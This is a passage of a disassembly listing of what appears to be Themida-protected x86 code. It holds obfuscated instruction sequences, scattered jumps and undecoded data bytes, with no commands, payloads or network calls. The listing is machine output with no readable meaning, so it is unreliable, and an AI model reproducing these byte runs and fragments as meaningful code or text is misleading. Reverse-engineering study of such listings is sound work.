		and	ebx, edx
		pop	edx
		or	ebx, ebx
		jnz	loc_619956
		push	eax
		push	edx
		pop	eax
		sub	esp, 4
		jmp	loc_613CF7
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704C7h, 48F5C24h,	24248B24h, 905EE9h, 24448100h
		dd 22202504h, 6BE9590Dh, 83000002h, 8B042404h, 0C4812434h
		dd 4, 4C681h, 2E90000h,	0C1000031h, 0E9D107E1h,	8FB3E981h
		dd 0CD8911C5h, 978EE959h, 99BB0000h, 0C171492Ah, 13E908E3h
		dd 5400005Eh, 80A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_61062D:				; CODE XREF: Themida_:00617D79j
		mov	eax, 7DD06E6Fh
		jmp	loc_618572
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2DD80100h, 39A96015h, 8904EC83h, 5456243Ch, 67D3E9h
		dd 240C8900h, 38CBE9h, 5F0CBB00h, 814B04F5h, 0F55F07EBh
		dd 0E9DE0104h, 3083h, 3B9BEB81h, 41E9388Bh, 1000000h, 0A590E9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61067E:				; CODE XREF: Themida_:00613FAEj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_613365
; ---------------------------------------------------------------------------


loc_61068E:				; CODE XREF: Themida_:00618914j
		mov	ebx, 5E826478h
		add	ecx, 1C154914h
		add	ecx, ebx
		push	esi
		mov	esi, 52A632A8h
		add	esi, 0C96F166Ch
		sub	ecx, esi
		mov	esi, [esp]
		push	ebx
		jmp	loc_61B5DD
; ---------------------------------------------------------------------------
aTsho		db 'TH',0
		align 4
		dd 3D2BEB81h, 36E97FB7h, 0BBFFFFF3h, 4,	875BD929h, 895C240Ch
		dd 47BB241Ch, 814E102Bh, 0FFFFFFEBh, 0F7EBD1FFh, 0F3814BD3h
		dd 0D8F7EA5Eh, 1C8BDA01h, 4C48324h, 8702C283h, 248B2414h
		dd 2A30E924h, 1B050000h, 159D400h, 1B2DE8h, 525759D4h
		dd 5D5F5F68h, 0D2F75A6Ah, 5E2AE9h, 5A516800h, 3C890000h
		dd 0E3B85024h, 0D631C52h, 0CB47ED7h, 5C12CF2Dh,	8BC7893Bh
		dd 0C4812404h, 4, 55FF829h, 6BD52336h, 8AD0E9h,	0EBC38100h
		dd 2929EE7Dh, 0EBEB81EBh, 5D29EE7Dh, 77ACE9h, 24BA5200h
		dd 0E911BA24h, 787h, 7623C181h,	87581C7Dh, 248B240Ch, 8A90E924h
		dd 2C8B0000h, 4C48124h,	51000000h, 21DBE953h, 58660000h
		dd 31E9D9F6h, 80000041h, 0F2E90AE3h, 0FF0000A8h, 0F12CE930h
		dd 0C8BFFFFh, 4C48124h,	88000000h, 1C8B873Ch, 0EC815124h
		dd 4, 83242489h, 59042404h, 3759E9h, 24048F00h,	4F8BE9h
		db 0
; ---------------------------------------------------------------------------


loc_6107CD:				; CODE XREF: Themida_:006137E1j
		pop	esp
		jmp	loc_6142BF
; ---------------------------------------------------------------------------
		db 1
aVC9@syn	db 'Vc9@YN',0
		align 10h
aIIS		db 'ш',0Bh,0
		dd 0E9FD0100h, 0FFFFF1EBh
; ---------------------------------------------------------------------------


loc_6107F0:				; CODE XREF: Themida_:0061753Bj
		add	edx, 404B5845h
		sub	edx, 444E4AE9h
		sub	edx, ebx
		push	ebx
		mov	ebx, 444E4AE9h
		add	edx, ebx
		pop	ebx
		push	ebx
		jmp	loc_611174
; ---------------------------------------------------------------------------
		db 89h,	0F1h, 0FFh
a4Wicpsm	db '4$^WPm',0
		align 4
		dd 8BFA215Eh, 0C483243Ch, 2EAC104h, 2256C281h, 0F79211D0h
		dd 0C28192D0h, 1, 629AE9h, 0E9E68900h, 0FFFFF5FEh, 4C38158h
		dd 87000000h, 0E95C241Ch, 0FFFFF07Ah, 70BAE951h, 4810000h
		dd 65795524h, 24042954h, 489BE9h, 2434FF00h, 0E9575758h
		dd 0FFFFFB4Dh, 591CE81h, 0EEC134F3h, 0B0F68107h, 298E89B2h
		dd 0DE95EF3h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61088B:				; CODE XREF: Themida_:00613E82j
		pop	edi
		push	eax
		mov	eax, 27FF0139h
		sub	edi, eax
		pop	eax
		shr	edi, 2
		shr	edi, 2
		push	ebp
		push	eax
		mov	eax, 200E34BCh
		shr	eax, 4
		jmp	loc_61BB37
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC812404h, 4, 51240489h, 397BE9h, 0D9E95500h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6108C3:				; CODE XREF: Themida_:00612D56j
		and	ebx, 1040466h
		add	ebx, 200D72B7h
		jmp	loc_6141A3
; ---------------------------------------------------------------------------
		dd 4BB0F66h, 70E99C24h,	890000A1h, 7DE9243Ch
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6108E7:				; CODE XREF: Themida_:0061883Dj
		xor	ecx, esi
		pop	esi
		sub	ebp, ecx
		pop	ecx
		jmp	loc_6188BA
; ---------------------------------------------------------------------------
aXps		db ')XP[',0
		db 0
; ---------------------------------------------------------------------------


loc_6108FB:				; CODE XREF: Themida_:00616435j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_61983C
; ---------------------------------------------------------------------------


loc_61090F:				; CODE XREF: Themida_:00613523j
		mov	[esp], ebp
		mov	ebp, 2
		sub	ecx, 6130721Eh
		jmp	loc_615403
; ---------------------------------------------------------------------------
		dw 34FFh
aSzj		db '$j',0
		align 2


loc_61092A:				; CODE XREF: Themida_:00614DC7j
		pop	esi
		xor	edx, 13E24BAh
		jmp	loc_6189D6
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 0ADF5E900h, 0A680000h,	0E92C8B03h, 6568h
; ---------------------------------------------------------------------------


loc_61094C:				; CODE XREF: Themida_:0061A094j
		pop	edi
		push	ebx
		mov	ebx, 23CA3991h
		jmp	loc_61559B
; ---------------------------------------------------------------------------


loc_610958:				; CODE XREF: Themida_:0061605Aj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_61784E
; ---------------------------------------------------------------------------


loc_61096C:				; CODE XREF: Themida_:006147D4j
		push	ebp
		mov	ebp, 22EE5196h
		shl	ebp, 5
		push	edi
		mov	edi, 5E1D2D81h
		jmp	loc_6102EB
; ---------------------------------------------------------------------------
		dd 2C181h, 0A3E90000h, 5C000067h, 0B3241C89h, 1D23E985h
		dd 0C6810000h, 27797CB3h, 4E12E9h, 24143100h, 0E9241433h
		dd 6335h, 0C4F58166h, 0CD816610h, 4D66005Fh, 0FEED8166h
		dd 583BE957h, 2C870000h, 0EB815C24h, 50D3324Bh,	62E9D829h
		dd 0C1000055h, 0BE5607EDh, 12931E4Bh, 0FFE9DEF7h, 0B4000098h
		dd 58E588A3h, 5BDD30h, 285966E8h, 506651C8h, 0C188E6B0h
		dd 0FFFD8DE9h, 0C8668FFh, 0C15D6535h, 0C58102EDh, 3CC14B42h
		dd 0ED81DDF7h, 746B4C4Dh, 15BCE9h
		db 0
; ---------------------------------------------------------------------------


loc_610A19:				; CODE XREF: Themida_:00612099j
		mov	[esp], ecx
		mov	ecx, 758278EDh
		jmp	loc_6176AD
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 8FED8102h, 81026B54h, 84644FC5h, 1BE5671h, 29000000h
		dd 2661E9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_610A42:				; CODE XREF: Themida_:0061B70Ej
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_61A245
; ---------------------------------------------------------------------------
		db 21h,	47h, 1Ch
		dd offset loc_4289E8+1
		dd 24143300h, 0E924248Bh, 9CC6h, 7412BF57h, 0BA521DBBh
		dd 4BF7C85h, 5D6CA81h, 0F2815DB4h, 23E57CEAh, 2BFBF281h
		dd 1CE97F5Bh, 81FFFFF8h, 2C7h, 243C3300h, 33243C31h, 248B243Ch
		dd 242CD224h, 0EE28E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_610AA6:				; CODE XREF: Themida_:0061AD51j
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	6962h
		mov	[esp], eax
		push	75E5h
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_614666
; ---------------------------------------------------------------------------


loc_610AD3:				; CODE XREF: Themida_:006188D2j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 60h
		dd 29629723h, 60EE81D6h, 5A629723h, 0FFF85FE9h,	48B66FFh
		dd 8B545224h, 89522414h, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 0E189515Ch, 4C181h, 0E9530000h, 0FFFFFBA3h, 0BD55E801h
		dd 5FEE738Fh, 0F19E9h, 1C77FF00h, 1058669Dh, 0E99C2404h
		dd 0FFFFED92h, 24048B66h, 8438E9h, 4C58100h, 50000000h
		dd 4B8h, 8BC50100h, 0C4812404h,	4, 8B242C87h, 0CFF2424h
		dd 0E3E99C24h, 81000027h, 4C6h,	24348700h, 8124248Bh, 766962C3h
		dd 0E8BA525Fh, 815AAC08h, 6C5A53C2h, 0EBF2811Ch, 0E933F253h
		dd 6991h, 243C875Ah, 240C8B5Ch,	4EC81h,	0C890000h, 83E18924h
		dd 2C8904ECh, 86A7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_610BB2:				; CODE XREF: Themida_:006191ABj
		mov	eax, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_619AE8
; ---------------------------------------------------------------------------
		dw 0E94Eh
		dd 72F8h
; ---------------------------------------------------------------------------


loc_610BCC:				; CODE XREF: Themida_:00617AA5j
		movzx	cx, ah
		push	small 759Ch
		mov	[esp], cx
		jmp	loc_61645E
; ---------------------------------------------------------------------------
		db 5, 0C8h, 42h
		dd 0E95A0F8Fh, 5E5Bh
; ---------------------------------------------------------------------------


loc_610BE8:				; CODE XREF: Themida_:0061860Dj
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]


loc_610BFD:				; CODE XREF: Themida_:006188F3j
		push	edi
		jmp	loc_613859
; ---------------------------------------------------------------------------
		db 83h
		dd 595504C4h, 56242C8Bh, 0EDE9E689h, 0E9000057h, 0FFFFECB6h
		dd 8E6C15Eh, 4E49CE81h,	0EEC151D6h, 0F0EE8104h,	89075F6Ch
		dd 2FDCE9F2h, 8B660000h, 0EC832404h, 1DACE904h,	4BF0000h
		dd 29000000h, 243C8BF9h, 5104C483h, 42474FFh, 24048F59h
		dd 14E0E9h, 24048F00h, 4EC815Ch, 0E9000000h, 0FFFFF2AFh
		dd 24048F54h, 4240483h,	57240C8Bh, 0C781E789h, 4, 8704C783h
		dd 815C243Ch, 4C1h, 0AFE95700h,	81FFFFFFh, 586BD5C6h, 4EC8139h
		dd 89000000h, 36BD242Ch, 8168F618h, 0F37D38F5h,	7270E93Bh
		dd 0E9530000h, 31F9h
; ---------------------------------------------------------------------------


loc_610CB4:				; CODE XREF: Themida_:00618EF1j
		mov	edx, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	esi
		push	6E44h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_613D9E
; ---------------------------------------------------------------------------
		dw 431h
		dd 24043324h, 1853E9h, 0E9FB0400h, 87DBh
; ---------------------------------------------------------------------------


loc_610CE8:				; CODE XREF: Themida_:006182D3j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_61AAB8
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Eh,	0F24248Bh, 5451C8BEh, 57240C8Bh
		dd 0C7815F54h, 4, 4C781h, 64E90000h, 89000096h,	4C381E3h
		dd 81000000h, 4EBh, 7301E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_610D3E:				; CODE XREF: Themida_:006129F8j
		mov	ecx, [ebx]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		mov	edx, 630E69C4h
		xor	edx, 0B525646h
		push	edi
		mov	edi, 619230DBh
		xor	edi, 2D67107Fh
		push	eax
		jmp	loc_619630
; ---------------------------------------------------------------------------
		dd 5C240C87h, 68240489h, 0FFFFFBFFh, 582434FFh,	3DDFE950h
		dd 0C5810000h, 3E046ECh, 1C1E9h, 31CB3100h, 0E9CB31D9h
		dd 42A1h
; ---------------------------------------------------------------------------


loc_610D94:				; CODE XREF: Themida_:00611006j
		or	eax, ebp
		pop	ebp
		sub	eax, 0B15BDE42h
		add	esi, eax
		pop	eax
		sub	esi, 5BB16AEBh
		add	esi, ebx
		add	esi, 5BB16AEBh
		sub	esi, 46181033h
		pop	ebx
		jmp	loc_614FA4
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0EBh
		dd 171422Dh, 0EBEA81DAh, 0FF71422Dh, 0E5E92434h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_610DCF:				; CODE XREF: Themida_:00610EEAj
		add	esi, 0F3B9234h
		jmp	loc_610E53
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 51000000h,	62BD55h, 0A7681DFDh, 0E9E24467h
		dd 7AADh, 0B15166ACh, 17E952D3h, 56000001h, 0A879C3BEh
		dd 0ACF68126h, 0E9220211h, 0AF30h
; ---------------------------------------------------------------------------


loc_610E10:				; CODE XREF: Themida_:00617D8Ej
		mov	eax, 70B84838h
		jmp	loc_6145B4
; ---------------------------------------------------------------------------


loc_610E1A:				; CODE XREF: Themida_:00618ECCj
		pop	esp
		mov	[esp], ecx
		mov	ecx, 2F7E4E97h
		not	ecx
		inc	ecx
		not	ecx
		shl	ecx, 6
		push	ebp
		mov	ebp, 230A237Ah
		or	ebp, 5A396814h
		push	eax
		mov	eax, 3A9E13A1h
		sub	eax, 21BCB56Fh
		or	ebp, eax
		pop	eax
		xor	ebp, 3F955B22h
		sub	ecx, ebp
		pop	ebp
		jmp	loc_614E3A
; ---------------------------------------------------------------------------


loc_610E53:				; CODE XREF: Themida_:00610DD5j
		mov	edi, esi
		pop	esi
		jmp	loc_615456
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C4812434h, 4, 0FFFDECE9h, 0EA5CE9FFh, 74FFFFFFh
		dd 2C8B0424h, 4C48324h,	5C24048Fh, 2404A30Fh, 0EA44E99Ch
		dd 815CFFFFh, 4C6h, 6DE95600h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_610E97:				; CODE XREF: Themida_:00610273j
		inc	cx
		jmp	loc_6148A8
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 83000000h,	0E95604C6h, 0AE33h, 33B1B850h
		dd 0E0C13DA6h, 0A4A2507h, 0B2D6EC3h, 0E93F56A6h, 0A3B5h
		dd 24048F59h, 7BCAE9h
		db 0
; ---------------------------------------------------------------------------


loc_610ED1:				; CODE XREF: Themida_:00616899j
		mov	edi, 442278D9h
		mov	edx, edi
		jmp	loc_610369
; ---------------------------------------------------------------------------
aYssi		db 'YSI',0
		db 0
; ---------------------------------------------------------------------------


loc_610EE3:				; CODE XREF: Themida_:00612DA0j
		or	esi, 6A9950DEh
		dec	esi
		jmp	loc_610DCF
; ---------------------------------------------------------------------------
		db 87h
		dd 0EA8745EAh, 8107EAC1h, 7A2290F2h, 10E9566Eh,	0BE000009h
		dd 39CC1DABh, 505EF301h, 0EF1FB9B8h, 7B4FE92Ch,	79B60000h
		dd 0E95AF028h, 12A4h
; ---------------------------------------------------------------------------


loc_610F20:				; CODE XREF: Themida_:00614B58j
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 44071449h
		mov	ebp, 44071C49h
		jmp	loc_611D43
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 0EFED8105h, 9C55B4Fh, 0F2815DEAh, 0D040C4Ch,	6DE9D301h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_610F63:				; CODE XREF: Themida_:0060FFE7j
		add	edi, 23599414h
		add	ecx, edi
		pop	edi
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_6155CF
; ---------------------------------------------------------------------------


loc_610F7A:				; CODE XREF: Themida_:00612C09j
		add	ebp, 4
		jmp	loc_61BB4D
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0E1h
		dd 1E3EC47h, 0BB5359CAh, 4, 2EBCEA81h, 0DA29183Ah, 2EBCC281h
		dd 525B183Ah, 42474FFh,	24048F5Ah, 243C895Ch, 0C781E789h
		dd 4, 163DBB53h, 0E381640Bh, 36ED022Fh,	0BFBF5743h, 811DDF65h
		dd 457581EFh, 81DFF751h, 335493F7h, 5FFB0140h, 7542E9h
		dd 24148900h, 38A768h, 241C8900h, 0B35306B7h, 41E38036h
		dd 0EB80CBFEh, 0E9DE8888h, 6D47h
; ---------------------------------------------------------------------------


loc_611000:				; CODE XREF: Themida_:00612880j
		add	ebp, 74C86EF9h
		jmp	loc_610D94
; ---------------------------------------------------------------------------


loc_61100B:				; CODE XREF: Themida_:0061875Cj
		push	edx
		push	eax
		push	633C6BDAh
		jmp	loc_619263
; ---------------------------------------------------------------------------


loc_611017:				; CODE XREF: Themida_:006190D8j
		inc	ecx
		add	ecx, 0DDFF8405h
		push	edi
		mov	edi, 16EE25AEh
		add	edi, 49516F59h
		and	edi, 1EC06A4Ch
		xchg	esi, edi
		inc	esi
		xchg	esi, edi
		neg	edi
		dec	edi
		add	edi, 340A55h
		sub	esi, 353316BCh
		sub	esi, edi
		add	esi, 353316BCh
		pop	edi
		add	esi, 20204791h
		add	esi, ecx
		sub	esi, 20204791h
		add	esi, 340A4Fh
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		imul	cx
		jmp	loc_61A6B5
; ---------------------------------------------------------------------------
		dw 8B5Ah
		dd 0F9E92404h, 81000068h, 317983C3h, 6EBC164h, 0CEAB850h
		dd 6CE931E2h, 6600005Ah, 68240C8Bh, 2968h, 54241489h, 5A2434FFh
		dd 4C481h, 0C2810000h, 4, 45F0E9h, 68CA8100h, 0C1408F37h
		dd 0E95603EAh, 7580h
; ---------------------------------------------------------------------------


loc_6110BC:				; CODE XREF: Themida_:006146B3j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_611C4F
; ---------------------------------------------------------------------------


loc_6110C5:				; CODE XREF: Themida_:00617AE7j
		mov	ecx, 63E11162h
		jmp	loc_6143CF
; ---------------------------------------------------------------------------


loc_6110CF:				; CODE XREF: Themida_:0060F8CFj
		push	ecx
		mov	cl, 0D2h
		xor	cl, 62h
		add	cl, 1Eh
		jmp	loc_6123D8
; ---------------------------------------------------------------------------
		db 80h,	0F2h, 44h
aZaTSgw		db '(Z GW',0
		dd 0E9D14100h, 8101E983h, 49081CE9h, 9CBCE94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6110FE:				; CODE XREF: Themida_:00616E80j
		mov	esi, 0D784F97h
		add	eax, esi
		jmp	loc_60FE3C
; ---------------------------------------------------------------------------
		dd offset dword_536710+658h
		dw 8900h
		dd 0E789243Ch, 5F1EE9h,	8BF00100h, 54512434h, 4C18159h
		dd 83000000h, 31E904C1h, 83000094h, 2C8904ECh, 5ED5BD24h
		dd 0EDC14042h, 0C5814D06h, 0FEFEF68Ah, 743AB951h, 44812969h
		dd 71640824h, 4481339Ah, 54D50824h, 4C297CDBh, 6C810824h
		dd 54D50824h, 6C817CDBh, 71640824h, 0E959339Ah,	41FEh
; ---------------------------------------------------------------------------


loc_611174:				; CODE XREF: Themida_:00610808j
		mov	ebx, 13E65815h
		inc	ebx
		shl	ebx, 8
		xor	ebx, 448A085Ch
		inc	ebx
		jmp	loc_615183
; ---------------------------------------------------------------------------
aC5chs@i	db '5ch@',0
		dw 8100h
		dd 76F236C7h, 0BBED8113h, 171211Dh, 0BBC581FDh,	5F71211Dh
		dd 5C242C87h, 0FFE71DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6111B1:				; CODE XREF: Themida_:0061356Bj
		pop	ebx
		push	ecx
		jmp	loc_61844B
; ---------------------------------------------------------------------------
		dd 83242489h, 0E9042404h, 189h,	61E9F729h, 0FF0000A4h
		dd 815A2434h, 4C4h, 59E82800h, 42CE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6111DE:				; CODE XREF: Themida_:00616E36j
		add	ebx, edi
		jmp	loc_61B087
; ---------------------------------------------------------------------------
		db 0B8h, 2, 0
		dd 0E9810000h, 511D76BDh, 7F33C181h, 0C10103FCh, 7F33E981h
		dd 0B85003FCh, 71B3470h, 27E9D8F7h, 8BFFFFEFh, 0D6E92404h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_611213:				; CODE XREF: Themida_:0061A981j
		mov	ebp, 78BF7A44h
		neg	ebp
		jmp	loc_619E9A
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2414h, 0EC83242Ch, 24248904h, 4240481h, 5D000000h
		dd 4B951h, 0ED810000h, 2A8733FEh, 0BF57CD01h, 41E1775Ah
		dd 2304E9h, 58C70000h, 6DE9F828h
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_611257:				; CODE XREF: Themida_:006193F4j
		mov	[esp], ebx
		mov	ebx, 2F5F70E3h
		push	ebx
		mov	ebx, 47AB1AC5h
		jmp	loc_612AD1
; ---------------------------------------------------------------------------


loc_61126A:				; CODE XREF: Themida_:0061250Aj
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------
		db 80h
		dd 0EE8001EEh, 4D23E969h, 0CE010000h, 1B6E9h
		db 0
; ---------------------------------------------------------------------------


loc_611281:				; CODE XREF: Themida_:006180B0j
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_615A87
; ---------------------------------------------------------------------------
		db 0B8h, 84h, 0EAh
		dd 0C601DD41h, 9791E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6112A2:				; CODE XREF: Themida_:0061059Cj
		sub	esi, edx
		jmp	loc_613755
; ---------------------------------------------------------------------------
		db 0BBh, 0D7h, 74h
		dd 9EE92CB6h, 58FFFFF1h, 88CC8850h, 24048BE3h, 8B04C483h
		dd 0C483240Ch, 3279E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6112CA:				; CODE XREF: Themida_:00614E7Bj
		xchg	ebp, [esp]
		jmp	loc_60FBD1
; ---------------------------------------------------------------------------
		dw 0E1C0h
		dd 72B75307h, 0C0EDF780h, 0C78003EFh, 5BF928ECh, 28ECF180h
		dd 0B60F59CBh, 4A07E9C0h, 45A0000h, 2CD8008Dh, 515B668Dh
		dd 8904EC83h, 0CDB3241Ch, 0BBE95052h, 660000A2h, 56240C8Bh
		dd 0C681E689h, 4, 4B18E9h, 5FF80100h, 505AE9h, 0FCE95A00h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61132B:				; CODE XREF: Themida_:00617088j
		push	esp
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_6143BA
; ---------------------------------------------------------------------------
		db 8Fh
		dd 8FE92404h, 29FFFFE5h, 5F08247Ch, 2434FF58h, 7617E9h
		dd 242C8B00h, 0A6F8E9h,	4EC8300h, 0E9241C89h, 0FFFFF2C7h
; ---------------------------------------------------------------------------


loc_611360:				; CODE XREF: Themida_:0061BDE1j
		add	eax, 5C315B57h
		push	ebp
		mov	ebp, 73407A01h
		xor	ebp, 31EA7B33h
		jmp	loc_60FEED
; ---------------------------------------------------------------------------
		dw 0E668h
		dd 0E900000Dh, 9BE3h
; ---------------------------------------------------------------------------


loc_611380:				; CODE XREF: Themida_:00618728j
		push	7FF4h
		mov	[esp], edi
		mov	edi, 4CF64396h
		shr	edi, 8
		push	esi
		jmp	loc_6190C1
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 2, 511CE9h, 8CE95900h, 81FFFFEFh, 4C6h, 24348700h, 0FC3305Ch
		dd 34FFC0B6h, 2434FF87h, 5F545758h, 4B951h, 0EF810000h
		dd 16D26858h, 0BB53CF01h, 310373C5h, 44A5C381h,	0DBF72F64h
		dd 0C103E3C1h, 0EB8102E3h, 0DC368A68h, 541CE9h,	241C3300h
		dd 33241C31h, 0FF5C241Ch, 0C8B2434h, 4C48124h, 56000000h
		dd 6E0D68h, 9E95400h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61140F:				; CODE XREF: Themida_:006131BEj
		push	edx
		neg	dword ptr [esp]
		pop	edx
		jmp	loc_614284
; ---------------------------------------------------------------------------
		db 0B9h, 0A9h, 0Dh
		dd 0F1816858h, 52976C39h, 0E959CB29h, 3387h
; ---------------------------------------------------------------------------


loc_61142C:				; CODE XREF: Themida_:0061B983j
		and	edx, 46DF6B88h
		jmp	loc_616A78
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8952240Ch, 4C281E2h,	81000000h, 4C2h, 24148700h, 0FFFA39E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_611451:				; CODE XREF: Themida_:0061A085j
		mov	[esp], eax
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		push	edi
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		pop	edi
		jmp	loc_615C7E
; ---------------------------------------------------------------------------
		dd 0F5EC80h, 0F32858E6h, 0EB08E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61147A:				; CODE XREF: Themida_:00617881j
		push	663Eh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	0B2Dh
		mov	[esp], ebp
		mov	ebp, 1
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_612DC0
; ---------------------------------------------------------------------------
		db 1, 0D9h, 81h
		dd 3E7CC8C1h, 0F6E95B59h, 5600004Ch, 0EC815E54h, 4, 7BDEE9h
		dd 243C3100h, 2E28E9h, 4EC8100h, 89000000h, 0B7E92404h
		dd 88FFFFFEh, 0A4B8E9F8h, 0C3810000h, 1FF17605h, 8433E959h
		dd 0EC830000h, 240C8904h, 0FFF1B5E9h, 0E3CCE9FFh, 0C481FFFFh
		dd 4, 104BB951h, 0BD552188h, 326E1FB7h,	0C108EDC1h, 0F58102EDh
		dd 187E3446h, 7EDC145h,	71B2BA52h, 0EA810CF3h, 2889F7Eh
		dd 815AD531h, 0E247B2EDh, 64E9812Bh, 15A9228h, 64C181E9h
		dd 8B5A9228h, 0C481242Ch, 4, 8159CB01h,	4C3h, 241C8700h
		dd 1959E9h, 0FBBE5600h,	31251530h, 222FE9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61156E:				; CODE XREF: Themida_:00611DE9j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_615CCA
; ---------------------------------------------------------------------------
		dw 1868h
		dd 89000079h, 4832424h,	34FF0424h, 0C4835B24h, 0A219E904h
		dd 0E0890000h, 3267BD55h, 0EDD10CD1h, 687FCD81h, 0E58151E6h
		dd 7C397E92h, 2541E9h, 4B800h, 0C3010000h, 0FE33E958h
		dd 0E589FFFFh, 2351E9h,	34335F00h, 24343124h, 95AFE9h
		dd 242C8B00h, 5104C483h, 4BE56h, 16E90000h, 0E900002Ch
		dd 0FFFFE2EAh, 243C875Bh, 0BA52515Ch, 1F331657h, 0E95AD189h
		dd 0DBDh, 582434FFh, 81E18951h,	4C1h, 2820E900h, 3CB70000h
		dd 0FE00EF80h, 120CE9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_611616:				; CODE XREF: Themida_:00615774j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_619526
; ---------------------------------------------------------------------------
		dw 8B5Dh
		dd 49E9241Ch
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61162F:				; CODE XREF: Themida_:00615F13j
		pop	edx
		push	ecx
		push	ebx
		mov	ebx, 1BDD08AAh
		jmp	loc_6190CE
; ---------------------------------------------------------------------------
		dd 0FFE28DE9h, 24048FFFh, 0CC7E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61164A:				; CODE XREF: Themida_:0061B4F2j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_619FAF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0C4815A24h, 4, 0E904EC83h, 0F8Dh
; ---------------------------------------------------------------------------


loc_611668:				; CODE XREF: Themida_:0061964Aj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		jmp	loc_614F89
; ---------------------------------------------------------------------------
		db 54h,	0FFh, 34h
		dd 89525E24h, 4C281E2h,	0E9000000h, 99DDh, 9620E9ADh, 9E050000h
		dd 535F9F4Ah, 897FC4BBh, 2EBC109h, 0FBBA524Bh, 812746BFh
		dd 3860EAC3h, 4A50E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6116AE:				; CODE XREF: Themida_:00611C62j
		pop	di
		sub	bx, 13BEh
		sub	bx, ax
		push	edi
		mov	di, 5AB0h
		sub	di, 46F2h
		add	bx, di
		pop	edi
		push	ecx
		mov	cx, 159Fh
		push	small 0
